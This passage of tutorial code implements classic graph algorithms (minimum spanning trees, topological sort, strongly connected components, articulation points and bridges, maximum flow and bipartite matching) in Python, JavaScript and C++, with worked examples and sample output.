    { u: 0, v: 2, weight: 3 },
    { u: 1, v: 2, weight: 1 },
    { u: 1, v: 3, weight: 2 },
    { u: 2, v: 3, weight: 4 },
    { u: 3, v: 4, weight: 2 },
    { u: 4, v: 5, weight: 6 }
];

const { mst, totalWeight } = kruskalMST(6, edges);
console.log(`MST total weight: ${totalWeight}`);
console.log('MST edges:', mst);

#include <iostream>
#include <vector>
#include <algorithm>

using namespace std;

class UnionFind {
private:
    vector<int> parent, rank;

public:
    UnionFind(int n) : parent(n), rank(n, 0) {
        for (int i = 0; i < n; i++) {
            parent[i] = i;
        }
    }

    int find(int x) {
        if (parent[x] != x) {
            parent[x] = find(parent[x]);
        }
        return parent[x];
    }

    bool unite(int x, int y) {
        int rootX = find(x);
        int rootY = find(y);

        if (rootX == rootY) return false;

        if (rank[rootX] < rank[rootY]) {
            parent[rootX] = rootY;
        } else if (rank[rootX] > rank[rootY]) {
            parent[rootY] = rootX;
        } else {
            parent[rootY] = rootX;
            rank[rootX]++;
        }

        return true;
    }
};

struct Edge {
    int u, v, weight;

    bool operator<(const Edge& other) const {
        return weight < other.weight;
    }
};

pair<vector<Edge>, int> kruskalMST(int numVertices, vector<Edge>& edges) {
    sort(edges.begin(), edges.end());

    UnionFind uf(numVertices);
    vector<Edge> mst;
    int totalWeight = 0;

    for (const Edge& edge : edges) {
        if (uf.unite(edge.u, edge.v)) {
            mst.push_back(edge);
            totalWeight += edge.weight;

            if (mst.size() == numVertices - 1) {
                break;
            }
        }
    }

    return {mst, totalWeight};
}

int main() {
    vector<Edge> edges = {
        {0, 1, 4}, {0, 2, 3}, {1, 2, 1},
        {1, 3, 2}, {2, 3, 4}, {3, 4, 2}, {4, 5, 6}
    };

    auto [mst, totalWeight] = kruskalMST(6, edges);

    cout << "MST total weight: " << totalWeight << endl;
    cout << "MST edges:" << endl;
    for (const Edge& edge : mst) {
        cout << "  " << edge.u << " -- " << edge.v
             << " (weight: " << edge.weight << ")" << endl;
    }

    return 0;
}

import heapq
from collections import defaultdict

class PrimMST:
    def __init__(self):
        self.graph = defaultdict(list)  # vertex -> [(neighbor, weight)]
        self.vertices = set()

    def add_edge(self, u, v, weight):
        """Add undirected weighted edge."""
        self.vertices.add(u)
        self.vertices.add(v)
        self.graph[u].append((v, weight))
        self.graph[v].append((u, weight))

    def prim_mst(self, start=None):
        """
        Prim's algorithm for MST.

        Time: O((V + E) log V) with binary heap
        Space: O(V + E)
        """
        if not self.vertices:
            return [], 0

        if start is None:
            start = next(iter(self.vertices))

        mst_edges = []
        total_weight = 0
        visited = {start}

        # Priority queue: (weight, from_vertex, to_vertex)
        edges_pq = [(weight, start, neighbor)
                    for neighbor, weight in self.graph[start]]
        heapq.heapify(edges_pq)

        while edges_pq and len(visited) < len(self.vertices):
            weight, u, v = heapq.heappop(edges_pq)

            # Skip if vertex already in MST
            if v in visited:
                continue

            # Add edge to MST
            visited.add(v)
            mst_edges.append((u, v, weight))
            total_weight += weight

            # Add all edges from newly added vertex
            for neighbor, edge_weight in self.graph[v]:
                if neighbor not in visited:
                    heapq.heappush(edges_pq, (edge_weight, v, neighbor))

        return mst_edges, total_weight

# Example usage
g = PrimMST()
g.add_edge('A', 'B', 4)
g.add_edge('A', 'C', 3)
g.add_edge('B', 'C', 1)
g.add_edge('B', 'D', 2)
g.add_edge('C', 'D', 4)
g.add_edge('D', 'E', 2)
g.add_edge('E', 'F', 6)

mst, weight = g.prim_mst('A')
print(f"MST total weight: {weight}")
print("MST edges:")
for u, v, w in mst:
    print(f"  {u} -- {v} (weight: {w})")

class PriorityQueue {
    constructor() {
        this.values = [];
    }

    enqueue(val, priority) {
        this.values.push({ val, priority });
        this.sort();
    }

    dequeue() {
        return this.values.shift();
    }

    sort() {
        this.values.sort((a, b) => a.priority - b.priority);
    }

    isEmpty() {
        return this.values.length === 0;
    }
}

class PrimMST {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v, weight) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push({ node: v, weight });
        this.adjacencyList.get(v).push({ node: u, weight });
    }

    primMST(start) {
        if (this.adjacencyList.size === 0) {
            return { mst: [], totalWeight: 0 };
        }

        if (!start) {
            start = this.adjacencyList.keys().next().value;
        }

        const mst = [];
        let totalWeight = 0;
        const visited = new Set([start]);
        const pq = new PriorityQueue();

        // Add all edges from start vertex
        for (const { node, weight } of this.adjacencyList.get(start)) {
            pq.enqueue({ from: start, to: node, weight }, weight);
        }

        while (!pq.isEmpty() && visited.size < this.adjacencyList.size) {
            const { val: edge } = pq.dequeue();

            if (visited.has(edge.to)) continue;

            visited.add(edge.to);
            mst.push(edge);
            totalWeight += edge.weight;

            // Add edges from newly added vertex
            for (const { node, weight } of this.adjacencyList.get(edge.to)) {
                if (!visited.has(node)) {
                    pq.enqueue({ from: edge.to, to: node, weight }, weight);
                }
            }
        }

        return { mst, totalWeight };
    }
}

// Example
const g = new PrimMST();
g.addEdge('A', 'B', 4);
g.addEdge('A', 'C', 3);
g.addEdge('B', 'C', 1);
g.addEdge('B', 'D', 2);
g.addEdge('C', 'D', 4);
g.addEdge('D', 'E', 2);
g.addEdge('E', 'F', 6);

const { mst, totalWeight } = g.primMST('A');
console.log(`MST total weight: ${totalWeight}`);
console.log('MST edges:', mst);

#include <iostream>
#include <vector>
#include <queue>
#include <unordered_map>
#include <unordered_set>
#include <string>

using namespace std;

struct Edge {
    string from, to;
    int weight;

    bool operator>(const Edge& other) const {
        return weight > other.weight;
    }
};

class PrimMST {
private:
    unordered_map<string, vector<pair<string, int>>> adjacencyList;

public:
    void addEdge(const string& u, const string& v, int weight) {
        adjacencyList[u].push_back({v, weight});
        adjacencyList[v].push_back({u, weight});
    }

    pair<vector<Edge>, int> primMST(const string& start) {
        vector<Edge> mst;
        int totalWeight = 0;
        unordered_set<string> visited;
        visited.insert(start);

        priority_queue<Edge, vector<Edge>, greater<Edge>> pq;

        // Add all edges from start
        for (const auto& [neighbor, weight] : adjacencyList[start]) {
            pq.push({start, neighbor, weight});
        }

        while (!pq.empty() && visited.size() < adjacencyList.size()) {
            Edge edge = pq.top();
            pq.pop();

            if (visited.count(edge.to)) continue;

            visited.insert(edge.to);
            mst.push_back(edge);
            totalWeight += edge.weight;

            // Add edges from newly added vertex
            for (const auto& [neighbor, weight] : adjacencyList[edge.to]) {
                if (!visited.count(neighbor)) {
                    pq.push({edge.to, neighbor, weight});
                }
            }
        }

        return {mst, totalWeight};
    }
};

int main() {
    PrimMST g;
    g.addEdge("A", "B", 4);
    g.addEdge("A", "C", 3);
    g.addEdge("B", "C", 1);
    g.addEdge("B", "D", 2);
    g.addEdge("C", "D", 4);
    g.addEdge("D", "E", 2);
    g.addEdge("E", "F", 6);

    auto [mst, totalWeight] = g.primMST("A");

    cout << "MST total weight: " << totalWeight << endl;
    cout << "MST edges:" << endl;
    for (const Edge& edge : mst) {
        cout << "  " << edge.from << " -- " << edge.to
             << " (weight: " << edge.weight << ")" << endl;
    }

    return 0;
}

from collections import defaultdict, deque

class DirectedGraph:
    def __init__(self):
        self.graph = defaultdict(list)
        self.vertices = set()

    def add_edge(self, u, v):
        """Add directed edge from u to v."""
        self.vertices.add(u)
        self.vertices.add(v)
        self.graph[u].append(v)

    def topological_sort_dfs(self):
        """
        Topological sort using DFS.
        Time: O(V + E)
        Space: O(V)
        Returns: List of vertices in topological order, or None if cycle exists
        """
        visited = set()
        rec_stack = set()  # Track vertices in current recursion stack
        result = []

        def dfs(vertex):
            visited.add(vertex)
            rec_stack.add(vertex)

            for neighbor in self.graph[vertex]:
                if neighbor not in visited:
                    if not dfs(neighbor):
                        return False  # Cycle detected
                elif neighbor in rec_stack:
                    return False  # Back edge found - cycle!

            rec_stack.remove(vertex)
            result.append(vertex)  # Add to result after all descendants
            return True

        # Process all vertices (handles disconnected components)
        for vertex in self.vertices:
            if vertex not in visited:
                if not dfs(vertex):
                    return None  # Cycle detected

        return result[::-1]  # Reverse to get correct order

# Example: Course prerequisites
g = DirectedGraph()
# Edges represent: prerequisite -> course
g.add_edge("Data Structures", "Algorithms")
g.add_edge("Algorithms", "Advanced Algorithms")
g.add_edge("Discrete Math", "Algorithms")
g.add_edge("Intro to CS", "Data Structures")
g.add_edge("Intro to CS", "Discrete Math")

order = g.topological_sort_dfs()
if order:
    print("Valid course order:")
    for i, course in enumerate(order, 1):
        print(f"  {i}. {course}")
else:
    print("Cannot complete courses - circular dependency!")

def topological_sort_kahns(self):
    """
    Kahn's algorithm for topological sort using BFS.
    Time: O(V + E)
    Space: O(V)
    Returns: List of vertices in topological order, or None if cycle exists
    """
    # Calculate in-degrees
    in_degree = {v: 0 for v in self.vertices}
    for u in self.graph:
        for v in self.graph[u]:
            in_degree[v] += 1

    # Queue of vertices with no incoming edges
    queue = deque([v for v in self.vertices if in_degree[v] == 0])
    result = []

    while queue:
        vertex = queue.popleft()
        result.append(vertex)

        # Reduce in-degree for neighbors
        for neighbor in self.graph[vertex]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    # If all vertices are in result, we have valid topological sort
    if len(result) == len(self.vertices):
        return result
    else:
        return None  # Cycle exists

# Example: Build system
g = DirectedGraph()
g.add_edge("main.cpp", "main.o")
g.add_edge("utils.cpp", "utils.o")
g.add_edge("main.o", "program")
g.add_edge("utils.o", "program")

order = g.topological_sort_kahns()
print("Build order:", order)

class DirectedGraph {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push(v);
    }

    topologicalSortDFS() {
        const visited = new Set();
        const recStack = new Set();
        const result = [];

        const dfs = (vertex) => {
            visited.add(vertex);
            recStack.add(vertex);

            for (const neighbor of this.adjacencyList.get(vertex)) {
                if (!visited.has(neighbor)) {
                    if (!dfs(neighbor)) return false;
                } else if (recStack.has(neighbor)) {
                    return false;  // Cycle detected
                }
            }

            recStack.delete(vertex);
            result.push(vertex);
            return true;
        };

        for (const vertex of this.adjacencyList.keys()) {
            if (!visited.has(vertex)) {
                if (!dfs(vertex)) return null;
            }
        }

        return result.reverse();
    }

    topologicalSortKahns() {
        const inDegree = new Map();

        // Initialize in-degrees
        for (const vertex of this.adjacencyList.keys()) {
            inDegree.set(vertex, 0);
        }

        // Calculate in-degrees
        for (const [vertex, neighbors] of this.adjacencyList) {
            for (const neighbor of neighbors) {
                inDegree.set(neighbor, inDegree.get(neighbor) + 1);
            }
        }

        // Find vertices with no incoming edges
        const queue = [];
        for (const [vertex, degree] of inDegree) {
            if (degree === 0) {
                queue.push(vertex);
            }
        }

        const result = [];

        while (queue.length > 0) {
            const vertex = queue.shift();
            result.push(vertex);

            for (const neighbor of this.adjacencyList.get(vertex)) {
                inDegree.set(neighbor, inDegree.get(neighbor) - 1);
                if (inDegree.get(neighbor) === 0) {
                    queue.push(neighbor);
                }
            }
        }

        return result.length === this.adjacencyList.size ? result : null;
    }
}

#include <iostream>
#include <vector>
#include <unordered_map>
#include <unordered_set>
#include <queue>
#include <string>
#include <algorithm>

using namespace std;

class DirectedGraph {
private:
    unordered_map<string, vector<string>> adjacencyList;
    unordered_set<string> vertices;

public:
    void addEdge(const string& u, const string& v) {
        vertices.insert(u);
        vertices.insert(v);
        adjacencyList[u].push_back(v);
        if (adjacencyList.find(v) == adjacencyList.end()) {
            adjacencyList[v] = {};
        }
    }

    vector<string> topologicalSortDFS() {
        unordered_set<string> visited, recStack;
        vector<string> result;

        function<bool(const string&)> dfs = [&](const string& vertex) {
            visited.insert(vertex);
            recStack.insert(vertex);

            for (const string& neighbor : adjacencyList[vertex]) {
                if (visited.find(neighbor) == visited.end()) {
                    if (!dfs(neighbor)) return false;
                } else if (recStack.find(neighbor) != recStack.end()) {
                    return false;  // Cycle detected
                }
            }

            recStack.erase(vertex);
            result.push_back(vertex);
            return true;
        };

        for (const string& vertex : vertices) {
            if (visited.find(vertex) == visited.end()) {
                if (!dfs(vertex)) return {};  // Empty vector indicates cycle
            }
        }

        reverse(result.begin(), result.end());
        return result;
    }

    vector<string> topologicalSortKahns() {
        unordered_map<string, int> inDegree;

        // Initialize in-degrees
        for (const string& vertex : vertices) {
            inDegree[vertex] = 0;
        }

        // Calculate in-degrees
        for (const auto& [vertex, neighbors] : adjacencyList) {
            for (const string& neighbor : neighbors) {
                inDegree[neighbor]++;
            }
        }

        // Queue vertices with no incoming edges
        queue<string> q;
        for (const auto& [vertex, degree] : inDegree) {
            if (degree == 0) {
                q.push(vertex);
            }
        }

        vector<string> result;

        while (!q.empty()) {
            string vertex = q.front();
            q.pop();
            result.push_back(vertex);

            for (const string& neighbor : adjacencyList[vertex]) {
                inDegree[neighbor]--;
                if (inDegree[neighbor] == 0) {
                    q.push(neighbor);
                }
            }
        }

        return result.size() == vertices.size() ? result : vector<string>{};
    }
};

def all_topological_sorts(self):
    """
    Find all possible topological orderings.
    Time: O(V! × E) in worst case
    Space: O(V)
    """
    in_degree = {v: 0 for v in self.vertices}
    for u in self.graph:
        for v in self.graph[u]:
            in_degree[v] += 1

    result = []
    current_order = []
    visited = set()

    def backtrack():
        if len(current_order) == len(self.vertices):
            result.append(current_order[:])
            return

        for vertex in self.vertices:
            if vertex not in visited and in_degree[vertex] == 0:
                # Include this vertex
                visited.add(vertex)
                current_order.append(vertex)

                # Reduce in-degree of neighbors
                for neighbor in self.graph[vertex]:
                    in_degree[neighbor] -= 1

                backtrack()

                # Backtrack
                for neighbor in self.graph[vertex]:
                    in_degree[neighbor] += 1
                current_order.pop()
                visited.remove(vertex)

    backtrack()
    return result

class DirectedGraph:
    def __init__(self):
        self.graph = defaultdict(list)
        self.vertices = set()

    def add_edge(self, u, v):
        self.vertices.add(u)
        self.vertices.add(v)
        self.graph[u].append(v)

    def kosaraju_scc(self):
        """
        Kosaraju's algorithm for finding Strongly Connected Components.
        Time: O(V + E)
        Space: O(V)
        Returns: List of SCCs (each SCC is a list of vertices)
        """
        # Step 1: DFS to compute finish times
        visited = set()
        finish_order = []

        def dfs1(vertex):
            visited.add(vertex)
            for neighbor in self.graph[vertex]:
                if neighbor not in visited:
                    dfs1(neighbor)
            finish_order.append(vertex)  # Add after all descendants

        for vertex in self.vertices:
            if vertex not in visited:
                dfs1(vertex)

        # Step 2: Create transpose graph
        transpose = defaultdict(list)
        for u in self.graph:
            for v in self.graph[u]:
                transpose[v].append(u)  # Reverse edge

        # Step 3: DFS on transpose in reverse finish order
        visited.clear()
        sccs = []

        def dfs2(vertex, component):
            visited.add(vertex)
            component.append(vertex)
            for neighbor in transpose[vertex]:
                if neighbor not in visited:
                    dfs2(neighbor, component)

        for vertex in reversed(finish_order):
            if vertex not in visited:
                component = []
                dfs2(vertex, component)
                sccs.append(component)

        return sccs

# Example: Social network
g = DirectedGraph()
# Mutual follows create SCCs
g.add_edge('A', 'B')
g.add_edge('B', 'C')
g.add_edge('C', 'A')  # SCC: {A, B, C}
g.add_edge('B', 'D')
g.add_edge('D', 'E')
g.add_edge('E', 'D')  # SCC: {D, E}
g.add_edge('E', 'F')  # SCC: {F}

sccs = g.kosaraju_scc()
print(f"Found {len(sccs)} strongly connected components:")
for i, scc in enumerate(sccs, 1):
    print(f"  SCC {i}: {sorted(scc)}")

def tarjan_scc(self):
    """
    Tarjan's algorithm for finding Strongly Connected Components.
    Time: O(V + E)
    Space: O(V)
    Returns: List of SCCs
    """
    disc = {}  # Discovery times
    low = {}   # Lowest reachable
    on_stack = set()
    stack = []
    sccs = []
    time = [0]  # Mutable counter

    def dfs(vertex):
        disc[vertex] = low[vertex] = time[0]
        time[0] += 1
        stack.append(vertex)
        on_stack.add(vertex)

        # Explore neighbors
        for neighbor in self.graph[vertex]:
            if neighbor not in disc:
                # Neighbor not visited
                dfs(neighbor)
                low[vertex] = min(low[vertex], low[neighbor])
            elif neighbor in on_stack:
                # Back edge to ancestor
                low[vertex] = min(low[vertex], disc[neighbor])

        # If vertex is root of SCC
        if low[vertex] == disc[vertex]:
            scc = []
            while True:
                node = stack.pop()
                on_stack.remove(node)
                scc.append(node)
                if node == vertex:
                    break
            sccs.append(scc)

    for vertex in self.vertices:
        if vertex not in disc:
            dfs(vertex)

    return sccs

# Usage (same graph as above)
sccs = g.tarjan_scc()
print(f"Found {len(sccs)} strongly connected components:")
for i, scc in enumerate(sccs, 1):
    print(f"  SCC {i}: {sorted(scc)}")

class DirectedGraph {
    constructor() {
        this.adjacencyList = new Map();
    }

    addVertex(vertex) {
        if (!this.adjacencyList.has(vertex)) {
            this.adjacencyList.set(vertex, []);
        }
    }

    addEdge(u, v) {
        this.addVertex(u);
        this.addVertex(v);
        this.adjacencyList.get(u).push(v);
    }

    tarjanSCC() {
        const disc = new Map();
        const low = new Map();
        const onStack = new Set();
        const stack = [];
        const sccs = [];
        let time = 0;

        const dfs = (vertex) => {
            disc.set(vertex, time);
            low.set(vertex, time);
            time++;
            stack.push(vertex);
            onStack.add(vertex);

            for (const neighbor of this.adjacencyList.get(vertex)) {
                if (!disc.has(neighbor)) {
                    dfs(neighbor);
                    low.set(vertex, Math.min(low.get(vertex), low.get(neighbor)));
                } else if (onStack.has(neighbor)) {
                    low.set(vertex, Math.min(low.get(vertex), disc.get(neighbor)));
                }
            }

            // Root of SCC
            if (low.get(vertex) === disc.get(vertex)) {
                const scc = [];
                let node;
                do {
                    node = stack.pop();
                    onStack.delete(node);
                    scc.push(node);
                } while (node !== vertex);
                sccs.push(scc);
            }
        };

        for (const vertex of this.adjacencyList.keys()) {
            if (!disc.has(vertex)) {
                dfs(vertex);
            }
        }

        return sccs;
    }
}

class UndirectedGraph:
    def __init__(self):
        self.graph = defaultdict(list)
        self.vertices = set()

    def add_edge(self, u, v):
        self.vertices.add(u)
        self.vertices.add(v)
        self.graph[u].append(v)
        self.graph[v].append(u)

    def find_articulation_points(self):
        """
        Find all articulation points (cut vertices).
        Time: O(V + E)
        Space: O(V)
        """
        disc = {}  # Discovery times
        low = {}   # Lowest reachable
        parent = {}
        articulation_points = set()
        time = [0]

        def dfs(u):
            children = 0
            disc[u] = low[u] = time[0]
            time[0] += 1

            for v in self.graph[u]:
                if v not in disc:
                    children += 1
                    parent[v] = u
                    dfs(v)

                    low[u] = min(low[u], low[v])

                    # u is articulation point if:
                    # 1. u is root and has >= 2 children, OR
                    # 2. u is not root and low[v] >= disc[u]
                    if parent.get(u) is None and children > 1:
                        articulation_points.add(u)
                    if parent.get(u) is not None and low[v] >= disc[u]:
                        articulation_points.add(u)

                elif v != parent.get(u):
                    # Back edge
                    low[u] = min(low[u], disc[v])

        # Handle disconnected components
        for vertex in self.vertices:
            if vertex not in disc:
                parent[vertex] = None
                dfs(vertex)

        return list(articulation_points)

# Example: Network topology
g = UndirectedGraph()
g.add_edge(0, 1)
g.add_edge(1, 2)
g.add_edge(2, 0)  # Triangle
g.add_edge(1, 3)  # 1 is articulation point
g.add_edge(3, 4)
g.add_edge(4, 5)
g.add_edge(5, 3)  # Another triangle

aps = g.find_articulation_points()
print(f"Articulation points: {sorted(aps)}")
# Output: [1, 3]

def find_bridges(self):
    """
    Find all bridges (cut edges).
    Time: O(V + E)
    Space: O(V)
    """
    disc = {}
    low = {}
    parent = {}
    bridges = []
    time = [0]

    def dfs(u):
        disc[u] = low[u] = time[0]
        time[0] += 1

        for v in self.graph[u]:
            if v not in disc:
                parent[v] = u
                dfs(v)

                low[u] = min(low[u], low[v])

                # Bridge condition: low[v] > disc[u]
                # (no back edge from subtree of v to ancestors of u)
                if low[v] > disc[u]:
                    bridges.append((u, v))

            elif v != parent.get(u):
                low[u] = min(low[u], disc[v])

    for vertex in self.vertices:
        if vertex not in disc:
            parent[vertex] = None
            dfs(vertex)

    return bridges

# Using same graph as above
bridges = g.find_bridges()
print(f"Bridges: {bridges}")
# Output: [(1, 3)]

#include <iostream>
#include <vector>
#include <unordered_map>
#include <unordered_set>
#include <algorithm>

using namespace std;

class UndirectedGraph {
private:
    unordered_map<int, vector<int>> adjacencyList;
    unordered_set<int> vertices;

public:
    void addEdge(int u, int v) {
        vertices.insert(u);
        vertices.insert(v);
        adjacencyList[u].push_back(v);
        adjacencyList[v].push_back(u);
    }

    vector<int> findArticulationPoints() {
        unordered_map<int, int> disc, low, parent;
        unordered_set<int> articulationPoints;
        int time = 0;

        function<void(int)> dfs = [&](int u) {
            int children = 0;
            disc[u] = low[u] = time++;

            for (int v : adjacencyList[u]) {
                if (disc.find(v) == disc.end()) {
                    children++;
                    parent[v] = u;
                    dfs(v);

                    low[u] = min(low[u], low[v]);

                    if (parent.find(u) == parent.end() && children > 1) {
                        articulationPoints.insert(u);
                    }
                    if (parent.find(u) != parent.end() && low[v] >= disc[u]) {
                        articulationPoints.insert(u);
                    }
                } else if (parent.find(u) == parent.end() || v != parent[u]) {
                    low[u] = min(low[u], disc[v]);
                }
            }
        };

        for (int vertex : vertices) {
            if (disc.find(vertex) == disc.end()) {
                dfs(vertex);
            }
        }

        return vector<int>(articulationPoints.begin(), articulationPoints.end());
    }

    vector<pair<int, int>> findBridges() {
        unordered_map<int, int> disc, low, parent;
        vector<pair<int, int>> bridges;
        int time = 0;

        function<void(int)> dfs = [&](int u) {
            disc[u] = low[u] = time++;

            for (int v : adjacencyList[u]) {
                if (disc.find(v) == disc.end()) {
                    parent[v] = u;
                    dfs(v);

                    low[u] = min(low[u], low[v]);

                    if (low[v] > disc[u]) {
                        bridges.push_back({min(u, v), max(u, v)});
                    }
                } else if (parent.find(u) == parent.end() || v != parent[u]) {
                    low[u] = min(low[u], disc[v]);
                }
            }
        };

        for (int vertex : vertices) {
            if (disc.find(vertex) == disc.end()) {
                dfs(vertex);
            }
        }

        return bridges;
    }
};

from collections import deque, defaultdict

class MaxFlow:
    def __init__(self, vertices):
        self.V = vertices
        # Capacity matrix: capacity[u][v] = capacity of edge u -> v
        self.capacity = [[0] * vertices for _ in range(vertices)]
        self.graph = defaultdict(list)  # Adjacency list for faster iteration

    def add_edge(self, u, v, capacity):
        """Add directed edge with capacity."""
        self.capacity[u][v] = capacity
        self.graph[u].append(v)
        self.graph[v].append(u)  # Add reverse edge for residual graph

    def bfs_find_path(self, source, sink, parent):
        """
        Find augmenting path using BFS.
        Returns: True if path exists, False otherwise
        """
        visited = set([source])
        queue = deque([source])

        while queue:
            u = queue.popleft()

            for v in self.graph[u]:
                # Check if unvisited and has remaining capacity
                if v not in visited and self.capacity[u][v] > 0:
                    visited.add(v)
                    queue.append(v)
                    parent[v] = u

                    if v == sink:
                        return True

        return False

    def edmonds_karp(self, source, sink):
        """
        Edmonds-Karp algorithm (Ford-Fulkerson with BFS).
        Time: O(V × E²)
        Space: O(V²)
        Returns: (max_flow, flow_matrix)
        """
        parent = {}
        max_flow = 0

        # Flow matrix
        flow = [[0] * self.V for _ in range(self.V)]

        # While there exists augmenting path
        while self.bfs_find_path(source, sink, parent):
            # Find bottleneck capacity
            path_flow = float('inf')
            v = sink

            while v != source:
                u = parent[v]
                path_flow = min(path_flow, self.capacity[u][v])
                v = u

            # Update residual capacities and flow
            v = sink
            while v != source:
                u = parent[v]
                self.capacity[u][v] -= path_flow
                self.capacity[v][u] += path_flow  # Add reverse edge
                flow[u][v] += path_flow
                v = u

            max_flow += path_flow
            parent.clear()

        return max_flow, flow

# Example: Network flow
#     s --10--> 1 --10--> t
#     |         |         |
#     5         5         10
#     |         |         |
#     v         v         ^
#     2 --10--> 3 --15----
#
g = MaxFlow(4)
s, t = 0, 3  # Source = 0, Sink = 3

g.add_edge(0, 1, 10)  # s -> 1
g.add_edge(0, 2, 5)   # s -> 2
g.add_edge(1, 2, 5)   # 1 -> 2
g.add_edge(1, 3, 10)  # 1 -> t
g.add_edge(2, 3, 15)  # 2 -> t

max_flow, flow_matrix = g.edmonds_karp(s, t)
print(f"Maximum flow: {max_flow}")

print("\nFlow on each edge:")
for u in range(g.V):
    for v in range(g.V):
        if flow_matrix[u][v] > 0:
            print(f"  {u} -> {v}: {flow_matrix[u][v]}")

Maximum flow: 15
Flow on each edge:
  0 -> 1: 10
  0 -> 2: 5
  1 -> 3: 10
  2 -> 3: 5

def find_min_cut(self, source):
    """
    Find minimum cut (set of edges with minimum capacity that separates s from t).
    Returns: List of edges in min cut
    Time: O(V × E²) (running max flow first)
    """
    # After max flow, residual graph contains the cut
    reachable = set()
    queue = deque([source])
    reachable.add(source)

    # BFS on residual graph
    while queue:
        u = queue.popleft()
        for v in self.graph[u]:
            if v not in reachable and self.capacity[u][v] > 0:
                reachable.add(v)
                queue.append(v)

    # Min cut edges: from reachable to non-reachable
    min_cut = []
    for u in reachable:
        for v in range(self.V):
            if v not in reachable and (u, v) in self.original_edges:
                min_cut.append((u, v))

    return min_cut

class MaxFlow {
    constructor(vertices) {
        this.V = vertices;
        this.capacity = Array(vertices).fill(null)
            .map(() => Array(vertices).fill(0));
        this.graph = Array(vertices).fill(null)
            .map(() => []);
    }

    addEdge(u, v, capacity) {
        this.capacity[u][v] = capacity;
        this.graph[u].push(v);
        this.graph[v].push(u);
    }

    bfsFindPath(source, sink, parent) {
        const visited = new Set([source]);
        const queue = [source];

        while (queue.length > 0) {
            const u = queue.shift();

            for (const v of this.graph[u]) {
                if (!visited.has(v) && this.capacity[u][v] > 0) {
                    visited.add(v);
                    queue.push(v);
                    parent[v] = u;

                    if (v === sink) return true;
                }
            }
        }

        return false;
    }

    edmondsKarp(source, sink) {
        const parent = {};
        let maxFlow = 0;
        const flow = Array(this.V).fill(null)
            .map(() => Array(this.V).fill(0));

        while (this.bfsFindPath(source, sink, parent)) {
            let pathFlow = Infinity;
            let v = sink;

            // Find bottleneck
            while (v !== source) {
                const u = parent[v];
                pathFlow = Math.min(pathFlow, this.capacity[u][v]);
                v = u;
            }

            // Update capacities and flow
            v = sink;
            while (v !== source) {
                const u = parent[v];
                this.capacity[u][v] -= pathFlow;
                this.capacity[v][u] += pathFlow;
                flow[u][v] += pathFlow;
                v = u;
            }

            maxFlow += pathFlow;
            Object.keys(parent).forEach(key => delete parent[key]);
        }

        return { maxFlow, flow };
    }
}

def dinic_max_flow(self, source, sink):
    """
    Dinic's algorithm for maximum flow.
    Time: O(V² × E) - faster than Edmonds-Karp for many graphs
    """
    def bfs_level_graph():
        """Build level graph using BFS."""
        level = [-1] * self.V
        level[source] = 0
        queue = deque([source])

        while queue:
            u = queue.popleft()
            for v in self.graph[u]:
                if level[v] < 0 and self.capacity[u][v] > 0:
                    level[v] = level[u] + 1
                    queue.append(v)

        return level

    def dfs_blocking_flow(u, pushed, level, iter_ptr):
        """Find blocking flow using DFS."""
        if u == sink:
            return pushed

        while iter_ptr[u] < len(self.graph[u]):
            v = self.graph[u][iter_ptr[u]]

            if level[v] == level[u] + 1 and self.capacity[u][v] > 0:
                flow = dfs_blocking_flow(
                    v,
                    min(pushed, self.capacity[u][v]),
                    level,
                    iter_ptr
                )

                if flow > 0:
                    self.capacity[u][v] -= flow
                    self.capacity[v][u] += flow
                    return flow

            iter_ptr[u] += 1

        return 0

    max_flow = 0

    while True:
        level = bfs_level_graph()

        if level[sink] < 0:  # No augmenting path
            break

        iter_ptr = [0] * self.V

        while True:
            pushed = dfs_blocking_flow(source, float('inf'), level, iter_ptr)
            if pushed == 0:
                break
            max_flow += pushed

    return max_flow

class BipartiteGraph:
    def __init__(self, left_size, right_size):
        self.left_size = left_size
        self.right_size = right_size
        self.graph = defaultdict(list)  # left -> [right vertices]

    def add_edge(self, left, right):
        """Add edge from left partition to right partition."""
        self.graph[left].append(right)

    def max_matching_dfs(self):
        """
        Maximum bipartite matching using DFS (Augmenting Path).
        Time: O(V × E)
        Space: O(V)
        Returns: (matching_size, matching_dict)
        """
        # match_right[r] = left vertex matched to r (or -1 if unmatched)
        match_right = [-1] * self.right_size

        def dfs(left, visited):
            """Try to find augmenting path from left vertex."""
            for right in self.graph[left]:
                if visited[right]:
                    continue

                visited[right] = True

                # If right is unmatched OR we can find augmenting path from its match
                if match_right[right] == -1 or dfs(match_right[right], visited):
                    match_right[right] = left
                    return True

            return False

        matching_size = 0

        # Try to match each left vertex
        for left in range(self.left_size):
            visited = [False] * self.right_size
            if dfs(left, visited):
                matching_size += 1

        # Build matching dictionary
        matching = {}
        for right, left in enumerate(match_right):
            if left != -1:
                matching[left] = right

        return matching_size, matching

# Example: Job assignment
# Workers: 0, 1, 2 (left partition)
# Jobs: 0, 1, 2 (right partition)
g = BipartiteGraph(3, 3)
g.add_edge(0, 0)  # Worker 0 can do Job 0
g.add_edge(0, 1)  # Worker 0 can do Job 1
g.add_edge(1, 1)  # Worker 1 can do Job 1
g.add_edge(2, 0)  # Worker 2 can do Job 0
g.add_edge(2, 2)  # Worker 2 can do Job 2

size, matching = g.max_matching_dfs()
print(f"Maximum matching size: {size}")
print("Assignments:")
for worker, job in sorted(matching.items()):
    print(f"  Worker {worker} -> Job {job}")

def max_matching_flow(self):
    """
    Maximum bipartite matching using max flow.
    Time: O(V × E²)
    """
    # Create flow network
    # Vertices: source=0, left=1..left_size, right=left_size+1..left_size+right_size, sink=last
    source = 0
    sink = 1 + self.left_size + self.right_size

    flow_graph = MaxFlow(sink + 1)

    # Source to left partition
    for left in range(self.left_size):
        flow_graph.add_edge(source, 1 + left, 1)

    # Left to right edges
    for left in range(self.left_size):
        for right in self.graph[left]:
            flow_graph.add_edge(1 + left, 1 + self.left_size + right, 1)

    # Right partition to sink
    for right in range(self.right_size):
        flow_graph.add_edge(1 + self.left_size + right, sink, 1)

